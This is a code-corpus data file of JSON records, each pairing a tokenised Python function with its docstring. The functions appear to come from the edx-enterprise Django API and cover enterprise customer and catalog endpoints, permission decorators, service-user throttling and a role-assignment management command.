{"signature": "@method_decorator(require_at_least_one_query_parameter('<STR_LIT>', '<STR_LIT>'))<EOL><INDENT>@detail_route()<EOL>@permission_required('<STR_LIT>', fn=lambda request, pk, course_run_ids, program_uuids: pk)<EOL>def contains_content_items(self, request, pk, course_run_ids, program_uuids):<DEDENT>", "body": "enterprise_customer = self.get_object()<EOL>course_run_ids = [unquote(quote_plus(course_run_id)) for course_run_id in course_run_ids]<EOL>contains_content_items = False<EOL>for catalog in enterprise_customer.enterprise_customer_catalogs.all():<EOL><INDENT>contains_course_runs = not course_run_ids or catalog.contains_courses(course_run_ids)<EOL>contains_program_uuids = not program_uuids or catalog.contains_programs(program_uuids)<EOL>if contains_course_runs and contains_program_uuids:<EOL><INDENT>contains_content_items = True<EOL>break<EOL><DEDENT><DEDENT>return Response({'<STR_LIT>': contains_content_items})<EOL>", "docstring": "Return whether or not the specified content is available to the EnterpriseCustomer.\n\nMultiple course_run_ids and/or program_uuids query parameters can be sent to this view to check\nfor their existence in the EnterpriseCustomerCatalogs associated with this EnterpriseCustomer.\nAt least one course run key or program UUID value must be included in the request.", "id": "f16073:c5:m0"}
{"signature": "@detail_route()<EOL><INDENT>@permission_required('<STR_LIT>', fn=lambda request, pk: pk)<EOL>def courses(self, request, pk=None):  <DEDENT>", "body": "enterprise_customer = self.get_object()<EOL>self.check_object_permissions(request, enterprise_customer)<EOL>self.ensure_data_exists(<EOL>request,<EOL>enterprise_customer.catalog,<EOL>error_message=\"<STR_LIT>\".format(<EOL>enterprise_name=enterprise_customer.name,<EOL>path=request.get_full_path()<EOL>)<EOL>)<EOL>catalog_api = CourseCatalogApiClient(request.user, enterprise_customer.site)<EOL>courses = catalog_api.get_paginated_catalog_courses(enterprise_customer.catalog, request.GET)<EOL>self.ensure_data_exists(<EOL>request,<EOL>courses,<EOL>error_message=(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(<EOL>enterprise_name=enterprise_customer.name,<EOL>path=request.get_full_path()<EOL>)<EOL>)<EOL>)<EOL>serializer = serializers.EnterpriseCatalogCoursesReadOnlySerializer(courses)<EOL>serializer.update_enterprise_courses(enterprise_customer, catalog_id=enterprise_customer.catalog)<EOL>return get_paginated_response(serializer.data, request)<EOL>", "docstring": "Retrieve the list of courses contained within the catalog linked to this enterprise.\n\nOnly courses with active course runs are returned. A course run is considered active if it is currently\nopen for enrollment, or will open in the future.", "id": "f16073:c5:m1"}
{"signature": "@detail_route(methods=['<STR_LIT>'], permission_classes=[<EOL>permissions.IsAuthenticated,<EOL>HasEnterpriseEnrollmentAPIAccess,<EOL>])<EOL><INDENT>@permission_required('<STR_LIT>', fn=lambda request, pk: pk)<EOL>def course_enrollments(self, request, pk):<DEDENT>", "body": "enterprise_customer = self.get_object()<EOL>serializer = serializers.EnterpriseCustomerCourseEnrollmentsSerializer(<EOL>data=request.data,<EOL>many=True,<EOL>context={<EOL>'<STR_LIT>': enterprise_customer,<EOL>'<STR_LIT>': request.user,<EOL>}<EOL>)<EOL>if serializer.is_valid():<EOL><INDENT>serializer.save()<EOL>return Response(serializer.data, status=HTTP_200_OK)<EOL><DEDENT>return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)<EOL>", "docstring": "Creates a course enrollment for an EnterpriseCustomerUser.", "id": "f16073:c5:m2"}
{"signature": "@method_decorator(require_at_least_one_query_parameter('<STR_LIT>'))<EOL><INDENT>@list_route(permission_classes=[<EOL>permissions.IsAuthenticated,<EOL>IsInEnterpriseGroup,<EOL>])<EOL>def with_access_to(self, request, *args, **kwargs):  <DEDENT>", "body": "self.queryset = self.queryset.order_by('<STR_LIT:name>')<EOL>enterprise_id = self.request.query_params.get('<STR_LIT>', None)<EOL>enterprise_slug = self.request.query_params.get('<STR_LIT>', None)<EOL>enterprise_name = self.request.query_params.get('<STR_LIT>', None)<EOL>if enterprise_id is not None:<EOL><INDENT>self.queryset = self.queryset.filter(uuid=enterprise_id)<EOL><DEDENT>elif enterprise_slug is not None:<EOL><INDENT>self.queryset = self.queryset.filter(slug=enterprise_slug)<EOL><DEDENT>elif enterprise_name is not None:<EOL><INDENT>self.queryset = self.queryset.filter(name__icontains=enterprise_name)<EOL><DEDENT>return self.list(request, *args, **kwargs)<EOL>", "docstring": "Returns the list of enterprise customers the user has a specified group permission access to.", "id": "f16073:c5:m3"}
{"signature": "@list_route()<EOL><INDENT>@permission_required('<STR_LIT>')<EOL>def dashboard_list(self, request, *args, **kwargs):  <DEDENT>", "body": "self.queryset = self.queryset.order_by('<STR_LIT:name>')<EOL>enterprise_id = self.request.query_params.get('<STR_LIT>', None)<EOL>enterprise_slug = self.request.query_params.get('<STR_LIT>', None)<EOL>enterprise_name = self.request.query_params.get('<STR_LIT>', None)<EOL>if enterprise_id is not None:<EOL><INDENT>self.queryset = self.queryset.filter(uuid=enterprise_id)<EOL><DEDENT>elif enterprise_slug is not None:<EOL><INDENT>self.queryset = self.queryset.filter(slug=enterprise_slug)<EOL><DEDENT>elif enterprise_name is not None:<EOL><INDENT>self.queryset = self.queryset.filter(name__icontains=enterprise_name)<EOL><DEDENT>return self.list(request, *args, **kwargs)<EOL>", "docstring": "Supports listing dashboard enterprises for edx-portal frontend.", "id": "f16073:c5:m4"}
{"signature": "def get_serializer_class(self):", "body": "if self.request.method in ('<STR_LIT:GET>', ):<EOL><INDENT>return serializers.EnterpriseCourseEnrollmentReadOnlySerializer<EOL><DEDENT>return serializers.EnterpriseCourseEnrollmentWriteSerializer<EOL>", "docstring": "Use a special serializer for any requests that aren't read-only.", "id": "f16073:c6:m0"}
{"signature": "def get_serializer_class(self):", "body": "if self.request.method in ('<STR_LIT:GET>', ):<EOL><INDENT>return serializers.EnterpriseCustomerUserReadOnlySerializer<EOL><DEDENT>return serializers.EnterpriseCustomerUserWriteSerializer<EOL>", "docstring": "Use a flat serializer for any requests that aren't read-only.", "id": "f16073:c7:m0"}
{"signature": "@detail_route()<EOL><INDENT>def entitlements(self, request, pk=None):  <DEDENT>", "body": "enterprise_customer_user = self.get_object()<EOL>instance = {\"<STR_LIT>\": enterprise_customer_user.entitlements}<EOL>serializer = serializers.EnterpriseCustomerUserEntitlementSerializer(instance, context={'<STR_LIT>': request})<EOL>return Response(serializer.data)<EOL>", "docstring": "Retrieve the list of entitlements available to this learner.\n\nOnly those entitlements are returned that satisfy enterprise customer's data sharing setting.\n\nArguments:\n    request (HttpRequest): Reference to in-progress request instance.\n    pk (Int): Primary key value of the selected enterprise learner.\n\nReturns:\n    (HttpResponse): Response object containing a list of learner's entitlements.", "id": "f16073:c7:m1"}
{"signature": "@method_decorator(require_at_least_one_query_parameter('<STR_LIT>', '<STR_LIT>'))<EOL><INDENT>@detail_route()<EOL>def contains_content_items(self, request, pk, course_run_ids, program_uuids):<DEDENT>", "body": "enterprise_customer_catalog = self.get_object()<EOL>course_run_ids = [unquote(quote_plus(course_run_id)) for course_run_id in course_run_ids]<EOL>contains_content_items = True<EOL>if course_run_ids:<EOL><INDENT>contains_content_items = enterprise_customer_catalog.contains_courses(course_run_ids)<EOL><DEDENT>if program_uuids:<EOL><INDENT>contains_content_items = (<EOL>contains_content_items and<EOL>enterprise_customer_catalog.contains_programs(program_uuids)<EOL>)<EOL><DEDENT>return Response({'<STR_LIT>': contains_content_items})<EOL>", "docstring": "Return whether or not the EnterpriseCustomerCatalog contains the specified content.\n\nMultiple course_run_ids and/or program_uuids query parameters can be sent to this view to check\nfor their existence in the EnterpriseCustomerCatalog. At least one course run key\nor program UUID value must be included in the request.", "id": "f16073:c10:m3"}
{"signature": "@detail_route(url_path='<STR_LIT>'.format(COURSE_KEY_URL_PATTERN))<EOL><INDENT>@permission_required(<EOL>'<STR_LIT>',<EOL>fn=lambda request, pk, course_key: get_enterprise_customer_from_catalog_id(pk))<EOL>def course_detail(self, request, pk, course_key):  <DEDENT>", "body": "enterprise_customer_catalog = self.get_object()<EOL>course = enterprise_customer_catalog.get_course(course_key)<EOL>if not course:<EOL><INDENT>raise Http404<EOL><DEDENT>context = self.get_serializer_context()<EOL>context['<STR_LIT>'] = enterprise_customer_catalog<EOL>serializer = serializers.CourseDetailSerializer(course, context=context)<EOL>return Response(serializer.data)<EOL>", "docstring": "Return the metadata for the specified course.\n\nThe course needs to be included in the specified EnterpriseCustomerCatalog\nin order for metadata to be returned from this endpoint.", "id": "f16073:c10:m4"}
{"signature": "@detail_route(url_path='<STR_LIT>'.format(settings.COURSE_ID_PATTERN))<EOL><INDENT>@permission_required(<EOL>'<STR_LIT>',<EOL>fn=lambda request, pk, course_id: get_enterprise_customer_from_catalog_id(pk))<EOL>def course_run_detail(self, request, pk, course_id):  <DEDENT>", "body": "enterprise_customer_catalog = self.get_object()<EOL>course_run = enterprise_customer_catalog.get_course_run(course_id)<EOL>if not course_run:<EOL><INDENT>raise Http404<EOL><DEDENT>context = self.get_serializer_context()<EOL>context['<STR_LIT>'] = enterprise_customer_catalog<EOL>serializer = serializers.CourseRunDetailSerializer(course_run, context=context)<EOL>return Response(serializer.data)<EOL>", "docstring": "Return the metadata for the specified course run.\n\nThe course run needs to be included in the specified EnterpriseCustomerCatalog\nin order for metadata to be returned from this endpoint.", "id": "f16073:c10:m5"}
{"signature": "@detail_route(url_path='<STR_LIT>')<EOL><INDENT>@permission_required(<EOL>'<STR_LIT>',<EOL>fn=lambda request, pk, program_uuid: get_enterprise_customer_from_catalog_id(pk))<EOL>def program_detail(self, request, pk, program_uuid):  <DEDENT>", "body": "enterprise_customer_catalog = self.get_object()<EOL>program = enterprise_customer_catalog.get_program(program_uuid)<EOL>if not program:<EOL><INDENT>raise Http404<EOL><DEDENT>context = self.get_serializer_context()<EOL>context['<STR_LIT>'] = enterprise_customer_catalog<EOL>serializer = serializers.ProgramDetailSerializer(program, context=context)<EOL>return Response(serializer.data)<EOL>", "docstring": "Return the metadata for the specified program.\n\nThe program needs to be included in the specified EnterpriseCustomerCatalog\nin order for metadata to be returned from this endpoint.", "id": "f16073:c10:m6"}
{"signature": "def list(self, request):", "body": "catalog_api = CourseCatalogApiClient(request.user)<EOL>catalogs = catalog_api.get_paginated_catalogs(request.GET)<EOL>self.ensure_data_exists(request, catalogs)<EOL>serializer = serializers.ResponsePaginationSerializer(catalogs)<EOL>return get_paginated_response(serializer.data, request)<EOL>", "docstring": "DRF view to list all catalogs.\n\nArguments:\n    request (HttpRequest): Current request\n\nReturns:\n    (Response): DRF response object containing course catalogs.", "id": "f16073:c11:m0"}
{"signature": "def retrieve(self, request, pk=None):  ", "body": "catalog_api = CourseCatalogApiClient(request.user)<EOL>catalog = catalog_api.get_catalog(pk)<EOL>self.ensure_data_exists(<EOL>request,<EOL>catalog,<EOL>error_message=(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(pk=pk)<EOL>)<EOL>)<EOL>serializer = self.serializer_class(catalog)<EOL>return Response(serializer.data)<EOL>", "docstring": "DRF view to get catalog details.\n\nArguments:\n    request (HttpRequest): Current request\n    pk (int): Course catalog identifier\n\nReturns:\n    (Response): DRF response object containing course catalogs.", "id": "f16073:c11:m1"}
{"signature": "@method_decorator(enterprise_customer_required)<EOL><INDENT>@detail_route()<EOL>def courses(self, request, enterprise_customer, pk=None):  <DEDENT>", "body": "catalog_api = CourseCatalogApiClient(request.user, enterprise_customer.site)<EOL>courses = catalog_api.get_paginated_catalog_courses(pk, request.GET)<EOL>self.ensure_data_exists(<EOL>request,<EOL>courses,<EOL>error_message=(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(endpoint=request.get_full_path())<EOL>)<EOL>)<EOL>serializer = serializers.EnterpriseCatalogCoursesReadOnlySerializer(courses)<EOL>serializer.update_enterprise_courses(enterprise_customer, catalog_id=pk)<EOL>return get_paginated_response(serializer.data, request)<EOL>", "docstring": "Retrieve the list of courses contained within this catalog.\n\nOnly courses with active course runs are returned. A course run is considered active if it is currently\nopen for enrollment, or will open in the future.", "id": "f16073:c11:m2"}
{"signature": "def get_required_query_params(self, request):", "body": "email = get_request_value(request, self.REQUIRED_PARAM_EMAIL, '<STR_LIT>')<EOL>enterprise_name = get_request_value(request, self.REQUIRED_PARAM_ENTERPRISE_NAME, '<STR_LIT>')<EOL>number_of_codes = get_request_value(request, self.OPTIONAL_PARAM_NUMBER_OF_CODES, '<STR_LIT>')<EOL>if not (email and enterprise_name):<EOL><INDENT>raise CodesAPIRequestError(<EOL>self.get_missing_params_message([<EOL>(self.REQUIRED_PARAM_EMAIL, bool(email)),<EOL>(self.REQUIRED_PARAM_ENTERPRISE_NAME, bool(enterprise_name)),<EOL>])<EOL>)<EOL><DEDENT>return email, enterprise_name, number_of_codes<EOL>", "docstring": "Gets ``email``, ``enterprise_name``, and ``number_of_codes``,\nwhich are the relevant parameters for this API endpoint.\n\n:param request: The request to this endpoint.\n:return: The ``email``, ``enterprise_name``, and ``number_of_codes`` from the request.", "id": "f16073:c13:m0"}
{"signature": "def get_missing_params_message(self, parameter_state):", "body": "params = '<STR_LIT:U+002CU+0020>'.join(name for name, present in parameter_state if not present)<EOL>return self.MISSING_REQUIRED_PARAMS_MSG.format(params)<EOL>", "docstring": "Get a user-friendly message indicating a missing parameter for the API endpoint.", "id": "f16073:c13:m1"}
{"signature": "@permission_required('<STR_LIT>')<EOL><INDENT>def post(self, request):<DEDENT>", "body": "try:<EOL><INDENT>email, enterprise_name, number_of_codes = self.get_required_query_params(request)<EOL><DEDENT>except CodesAPIRequestError as invalid_request:<EOL><INDENT>return Response({'<STR_LIT:error>': str(invalid_request)}, status=HTTP_400_BAD_REQUEST)<EOL><DEDENT>subject_line = _('<STR_LIT>').format(<EOL>token_enterprise_name=enterprise_name<EOL>)<EOL>msg_with_codes = _('<STR_LIT>'<EOL>'<STR_LIT>').format(<EOL>token_email=email,<EOL>token_enterprise_name=enterprise_name,<EOL>token_number_codes=number_of_codes)<EOL>msg_without_codes = _('<STR_LIT>'<EOL>'<STR_LIT>').format(<EOL>token_email=email,<EOL>token_enterprise_name=enterprise_name)<EOL>app_config = apps.get_app_config(\"<STR_LIT>\")<EOL>from_email_address = app_config.customer_success_email<EOL>cs_email = app_config.customer_success_email<EOL>data = {<EOL>self.REQUIRED_PARAM_EMAIL: email,<EOL>self.REQUIRED_PARAM_ENTERPRISE_NAME: enterprise_name,<EOL>self.OPTIONAL_PARAM_NUMBER_OF_CODES: number_of_codes,<EOL>}<EOL>try:<EOL><INDENT>mail.send_mail(<EOL>subject_line,<EOL>msg_with_codes if number_of_codes else msg_without_codes,<EOL>from_email_address,<EOL>[cs_email],<EOL>fail_silently=False<EOL>)<EOL>return Response(data, status=HTTP_200_OK)<EOL><DEDENT>except SMTPException:<EOL><INDENT>error_message = _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>token_cs_email=cs_email,<EOL>token_email=email,<EOL>token_enterprise_name=enterprise_name<EOL>)<EOL>LOGGER.error(error_message)<EOL>return Response(<EOL>{'<STR_LIT:error>': str('<STR_LIT>')},<EOL>status=HTTP_500_INTERNAL_SERVER_ERROR<EOL>)<EOL><DEDENT>", "docstring": "POST /enterprise/api/v1/request_codes\n\nRequires a JSON object of the following format:\n>>> {\n>>>     \"email\": \"bob@alice.com\",\n>>>     \"enterprise_name\": \"IBM\",\n>>>     \"number_of_codes\": \"50\"\n>>> }\n\nKeys:\n*email*\n    Email of the customer who has requested more codes.\n*enterprise_name*\n    The name of the enterprise requesting more codes.\n*number_of_codes*\n    The number of codes requested.", "id": "f16073:c13:m2"}
{"signature": "def enterprise_customer_required(view):", "body": "@wraps(view)<EOL>def wrapper(request, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>user = request.user<EOL>enterprise_customer = get_enterprise_customer_for_user(user)<EOL>if enterprise_customer:<EOL><INDENT>args = args + (enterprise_customer,)<EOL>return view(request, *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>raise PermissionDenied(<EOL>'<STR_LIT>'.format(<EOL>username=user.username<EOL>)<EOL>)<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Ensure the user making the API request is associated with an EnterpriseCustomer.\n\nThis decorator attempts to find an EnterpriseCustomer associated with the requesting\nuser and passes that EnterpriseCustomer to the view as a parameter. It will return a\nPermissionDenied error if an EnterpriseCustomer cannot be found.\n\nUsage::\n    @enterprise_customer_required()\n    def my_view(request, enterprise_customer):\n        # Some functionality ...\n\n    OR\n\n    class MyView(View):\n        ...\n        @method_decorator(enterprise_customer_required)\n        def get(self, request, enterprise_customer):\n            # Some functionality ...", "id": "f16076:m0"}
{"signature": "def require_at_least_one_query_parameter(*query_parameter_names):", "body": "def outer_wrapper(view):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>@wraps(view)<EOL>def wrapper(request, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>requirement_satisfied = False<EOL>for query_parameter_name in query_parameter_names:<EOL><INDENT>query_parameter_values = request.query_params.getlist(query_parameter_name)<EOL>kwargs[query_parameter_name] = query_parameter_values<EOL>if query_parameter_values:<EOL><INDENT>requirement_satisfied = True<EOL><DEDENT><DEDENT>if not requirement_satisfied:<EOL><INDENT>raise ValidationError(<EOL>detail='<STR_LIT>'.format(<EOL>params='<STR_LIT:U+002CU+0020>'.join(query_parameter_names)<EOL>)<EOL>)<EOL><DEDENT>return view(request, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return outer_wrapper<EOL>", "docstring": "Ensure at least one of the specified query parameters are included in the request.\n\nThis decorator checks for the existence of at least one of the specified query\nparameters and passes the values as function parameters to the decorated view.\nIf none of the specified query parameters are included in the request, a\nValidationError is raised.\n\nUsage::\n    @require_at_least_one_query_parameter('program_uuids', 'course_run_ids')\n    def my_view(request, program_uuids, course_run_ids):\n        # Some functionality ...", "id": "f16076:m1"}
{"signature": "def has_permission(self, request, view):", "body": "if waffle.switch_is_active(ENTERPRISE_ROLE_BASED_ACCESS_CONTROL_SWITCH):<EOL><INDENT>return True<EOL><DEDENT>return (<EOL>super(IsAdminUserOrInGroup, self).has_permission(request, view) or<EOL>request.user.groups.filter(name__in=self.ALLOWED_API_GROUPS).exists() or<EOL>request.user.groups.filter(name__in=request.query_params.getlist('<STR_LIT>')).exists()<EOL>)<EOL>", "docstring": "Returns True if the requesting user is either 'staff' or belong to specific group, False otherwise.\nIt will also check for group membership against a list of groups in the permissions query parameter.", "id": "f16077:c1:m0"}
{"signature": "def __init__(self):", "body": "self.ALLOWED_API_GROUPS = [u'<STR_LIT>', ]<EOL>", "docstring": "Initialize the class with a API_ALLOWED_GROUPS", "id": "f16077:c2:m0"}
{"signature": "def __init__(self):", "body": "self.ALLOWED_API_GROUPS = [u'<STR_LIT>', ]<EOL>", "docstring": "Initialize the class with a API_ALLOWED_GROUPS", "id": "f16077:c3:m0"}
{"signature": "def get_paginated_response(data, request):", "body": "url = urlparse(request.build_absolute_uri())._replace(query=None).geturl()<EOL>next_page = None<EOL>previous_page = None<EOL>if data['<STR_LIT>']:<EOL><INDENT>next_page = \"<STR_LIT>\".format(<EOL>base_url=url,<EOL>query_parameters=urlparse(data['<STR_LIT>']).query,<EOL>)<EOL>next_page = next_page.rstrip('<STR_LIT:?>')<EOL><DEDENT>if data['<STR_LIT>']:<EOL><INDENT>previous_page = \"<STR_LIT>\".format(<EOL>base_url=url,<EOL>query_parameters=urlparse(data['<STR_LIT>'] or \"<STR_LIT>\").query,<EOL>)<EOL>previous_page = previous_page.rstrip('<STR_LIT:?>')<EOL><DEDENT>return Response(OrderedDict([<EOL>('<STR_LIT:count>', data['<STR_LIT:count>']),<EOL>('<STR_LIT>', next_page),<EOL>('<STR_LIT>', previous_page),<EOL>('<STR_LIT>', data['<STR_LIT>'])<EOL>]))<EOL>", "docstring": "Update pagination links in course catalog data and return DRF Response.\n\nArguments:\n    data (dict): Dictionary containing catalog courses.\n    request (HttpRequest): Current request object.\n\nReturns:\n    (Response): DRF response object containing pagination links.", "id": "f16078:m0"}
{"signature": "def allow_request(self, request, view):", "body": "service_users = get_service_usernames()<EOL>if request.user.username in service_users:<EOL><INDENT>self.update_throttle_scope()<EOL><DEDENT>return super(ServiceUserThrottle, self).allow_request(request, view)<EOL>", "docstring": "Modify throttling for service users.\n\nUpdates throttling rate if the request is coming from the service user, and\ndefaults to UserRateThrottle's configured setting otherwise.\n\nUpdated throttling rate comes from `DEFAULT_THROTTLE_RATES` key in `REST_FRAMEWORK`\nsetting. service user throttling is specified in `DEFAULT_THROTTLE_RATES` by `service_user` key\n\nExample Setting:\n    ```\n    REST_FRAMEWORK = {\n        ...\n        'DEFAULT_THROTTLE_RATES': {\n            ...\n            'service_user': '50/day'\n        }\n    }\n    ```", "id": "f16080:c0:m0"}
{"signature": "def update_throttle_scope(self):", "body": "self.scope = SERVICE_USER_SCOPE<EOL>self.rate = self.get_rate()<EOL>self.num_requests, self.duration = self.parse_rate(self.rate)<EOL>", "docstring": "Update throttle scope so that service user throttle rates are applied.", "id": "f16080:c0:m1"}
{"signature": "def get_service_usernames():", "body": "return {getattr(settings, username, None) for username in SERVICE_USERNAMES}<EOL>", "docstring": "Return the set of service usernames that are given extended permissions in the API.", "id": "f16081:m0"}
{"signature": "def get_enterprise_customer_from_catalog_id(catalog_id):", "body": "try:<EOL><INDENT>return str(EnterpriseCustomerCatalog.objects.get(pk=catalog_id).enterprise_customer.uuid)<EOL><DEDENT>except EnterpriseCustomerCatalog.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the enterprise customer id given an enterprise customer catalog id.", "id": "f16081:m1"}
{"signature": "def add_arguments(self, parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>dest='<STR_LIT>',<EOL>default=None,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>dest='<STR_LIT>',<EOL>default=<NUM_LIT:100>,<EOL>help='<STR_LIT>',<EOL>type=int,<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>dest='<STR_LIT>',<EOL>default=<NUM_LIT:0>,<EOL>help='<STR_LIT>',<EOL>type=int,<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>dest='<STR_LIT>',<EOL>default=<NUM_LIT:10>,<EOL>help='<STR_LIT>',<EOL>type=int,<EOL>)<EOL>", "docstring": "Entry point for subclassed commands to add custom arguments.", "id": "f16084:c0:m0"}
{"signature": "def _get_enterprise_customer_user_ids(self):", "body": "return EnterpriseCustomerUser.objects.values('<STR_LIT>')<EOL>", "docstring": "Returns a queryset containing user ids.", "id": "f16084:c0:m1"}
{"signature": "def _get_enterprise_admin_users_batch(self, start, end):", "body": "LOGGER.info('<STR_LIT>', start, end)<EOL>return User.objects.filter(groups__name=ENTERPRISE_DATA_API_ACCESS_GROUP, is_staff=False)[start:end]<EOL>", "docstring": "Returns a batched queryset of User objects.", "id": "f16084:c0:m2"}
{"signature": "def _get_enterprise_operator_users_batch(self, start, end):", "body": "LOGGER.info('<STR_LIT>', start, end)<EOL>return User.objects.filter(groups__name=ENTERPRISE_DATA_API_ACCESS_GROUP, is_staff=True)[start:end]<EOL>", "docstring": "Returns a batched queryset of User objects.", "id": "f16084:c0:m3"}
{"signature": "def _get_enterprise_customer_users_batch(self, start, end):", "body": "LOGGER.info('<STR_LIT>', start, end)<EOL>return User.objects.filter(pk__in=self._get_enterprise_customer_user_ids())[start:end]<EOL>", "docstring": "Returns a batched queryset of EnterpriseCustomerUser objects.", "id": "f16084:c0:m4"}
{"signature": "def _get_enterprise_enrollment_api_admin_users_batch(self, start, end):     ", "body": "LOGGER.info('<STR_LIT>', start, end)<EOL>return User.objects.filter(groups__name=ENTERPRISE_ENROLLMENT_API_ACCESS_GROUP, is_staff=False)[start:end]<EOL>", "docstring": "Returns a batched queryset of User objects.", "id": "f16084:c0:m5"}
{"signature": "def _get_enterprise_catalog_admin_users_batch(self, start, end):", "body": "Application = apps.get_model(OAUTH2_PROVIDER_APPLICATION_MODEL)     <EOL>LOGGER.info('<STR_LIT>', start, end)<EOL>catalog_admin_user_ids = Application.objects.filter(<EOL>user_id__in=self._get_enterprise_customer_user_ids()<EOL>).exclude(name=EDX_ORG_NAME).values('<STR_LIT>')<EOL>return User.objects.filter(pk__in=catalog_admin_user_ids)[start:end]<EOL>", "docstring": "Returns a batched queryset of User objects.", "id": "f16084:c0:m6"}
{"signature": "def _assign_enterprise_role_to_users(self, _get_batch_method, options, is_feature_role=False):", "body": "role_name = options['<STR_LIT>']<EOL>batch_limit = options['<STR_LIT>']<EOL>batch_sleep = options['<STR_LIT>']<EOL>batch_offset = options['<STR_LIT>']<EOL>current_batch_index = batch_offset<EOL>users_batch = _get_batch_method(<EOL>batch_offset,<EOL>batch_offset + batch_limit<EOL>)<EOL>role_class = SystemWideEnterpriseRole<EOL>role_assignment_class = SystemWideEnterpriseUserRoleAssignment<EOL>if is_feature_role:<EOL><INDENT>role_class = EnterpriseFeatureRole<EOL>role_assignment_class = EnterpriseFeatureUserRoleAssignment<EOL><DEDENT>enterprise_role = role_class.objects.get(name=role_name)<EOL>while users_batch.count() > <NUM_LIT:0>:<EOL><INDENT>for index, user in enumerate(users_batch):<EOL><INDENT>LOGGER.info(<EOL>'<STR_LIT>',<EOL>current_batch_index + index, user.id<EOL>)<EOL>role_assignment_class.objects.get_or_create(<EOL>user=user,<EOL>role=enterprise_role<EOL>)<EOL><DEDENT>sleep(batch_sleep)<EOL>current_batch_index += len(users_batch)<EOL>users_batch = _get_batch_method(<EOL>current_batch_index,<EOL>current_batch_index + batch_limit<EOL>)<EOL><DEDENT>", "docstring": "Assigns enterprise role to users.", "id": "f16084:c0:m7"}
{"signature": "def handle(self, *args, **options):", "body": "LOGGER.info('<STR_LIT>')<EOL>role = options['<STR_LIT>']<EOL>if role == ENTERPRISE_ADMIN_ROLE:<EOL><INDENT>self._assign_enterprise_role_to_users(self._get_enterprise_admin_users_batch, options)<EOL><DEDENT>elif role == ENTERPRISE_OPERATOR_ROLE:<EOL><INDENT>self._assign_enterprise_role_to_users(self._get_enterprise_operator_users_batch, options)<EOL><DEDENT>elif role == ENTERPRISE_LEARNER_ROLE:<EOL><INDENT>self._assign_enterprise_role_to_users(self._get_enterprise_customer_users_batch, options)<EOL><DEDENT>elif role == ENTERPRISE_ENROLLMENT_API_ADMIN_ROLE:<EOL><INDENT>self._assign_enterprise_role_to_users(self._get_enterprise_enrollment_api_admin_users_batch, options, True)<EOL><DEDENT>elif role == ENTERPRISE_CATALOG_ADMIN_ROLE:<EOL><INDENT>self._assign_enterprise_role_to_users(self._get_enterprise_catalog_admin_users_batch, options, True)<EOL><DEDENT>else:<EOL><INDENT>raise CommandError('<STR_LIT>'.format(<EOL>admin=ENTERPRISE_ADMIN_ROLE,<EOL>learner=ENTERPRISE_LEARNER_ROLE<EOL>))<EOL><DEDENT>LOGGER.info('<STR_LIT>')<EOL>", "docstring": "Entry point for managment command execution.", "id": "f16084:c0:m8"}
{"signature": "def _fetch_course_enrollment_data(self, enterprise_customer_uuid):", "body": "query = '''<STR_LIT>'''<EOL>with connection.cursor() as cursor:<EOL><INDENT>if enterprise_customer_uuid:<EOL><INDENT>cursor.execute(<EOL>query.format(enterprise_customer_filter='<STR_LIT>'),<EOL>[enterprise_customer_uuid]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>cursor.execute(<EOL>query.format(enterprise_customer_filter='<STR_LIT>')<EOL>)<EOL><DEDENT>return self._dictfetchall(cursor)<EOL><DEDENT>", "docstring": "Return enterprise customer UUID/user_id/course_run_id triples which represent CourseEnrollment records\nwhich do not have a matching EnterpriseCourseEnrollment record.\n\nThe query used below looks for CourseEnrollment records that are associated with enterprise\nlearners where the enrollment data is after the creation of the link between the learner\nand the enterprise. It also excludes learners with edx.org email addresses in order to\nfilter out test users.", "id": "f16086:c0:m2"}
{"signature": "def _dictfetchall(self, cursor):", "body": "columns = [col[<NUM_LIT:0>] for col in cursor.description]<EOL>return [<EOL>dict(zip(columns, row))<EOL>for row in cursor.fetchall()<EOL>]<EOL>", "docstring": "Return all rows from a cursor as a dict.", "id": "f16086:c0:m3"}
{"signature": "def get_enterprise_customer_for_running_pipeline(request, pipeline):  ", "body": "sso_provider_id = request.GET.get('<STR_LIT>')<EOL>if pipeline:<EOL><INDENT>sso_provider_id = Registry.get_from_pipeline(pipeline).provider_id<EOL><DEDENT>return get_enterprise_customer_for_sso(sso_provider_id)<EOL>", "docstring": "Get the EnterpriseCustomer associated with a running pipeline.", "id": "f16087:m0"}
{"signature": "def get_enterprise_customer_for_sso(sso_provider_id):", "body": "try:<EOL><INDENT>return EnterpriseCustomer.objects.get(  <EOL>enterprise_customer_identity_provider__provider_id=sso_provider_id<EOL>)<EOL><DEDENT>except EnterpriseCustomer.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the EnterpriseCustomer object tied to an identity provider.", "id": "f16087:m1"}
